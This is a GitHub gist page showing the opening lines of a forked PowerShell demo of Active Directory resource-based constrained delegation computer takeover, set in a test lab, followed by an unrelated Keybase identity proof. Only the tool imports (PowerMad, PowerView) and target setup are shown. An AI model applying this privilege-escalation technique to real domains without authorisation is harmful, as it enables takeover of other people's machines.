Skip to content

Instantly share code, notes, and snippets.

@cyb3rwr3ck
cyb3rwr3ck / rbcd_demo.ps1
Created October 21, 2021 08:01 — forked from HarmJ0y/rbcd_demo.ps1
Resource-based constrained delegation computer DACL takeover demo
# import the necessary toolsets
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1
# we are TESTLAB\attacker, who has GenericWrite rights over the primary$ computer account
whoami
# the target computer object we're taking over
$TargetComputer = "primary.testlab.local"

Keybase proof

I hereby claim:

  • I am cyb3rwr3ck on github.
  • I am 0x666c7578 (https://keybase.io/0x666c7578) on keybase.
  • I have a public key whose fingerprint is 427C CC61 7A29 69D5 D57C 76F1 FDDB 5573 5BCB 2C3E

To claim this, I am signing this object: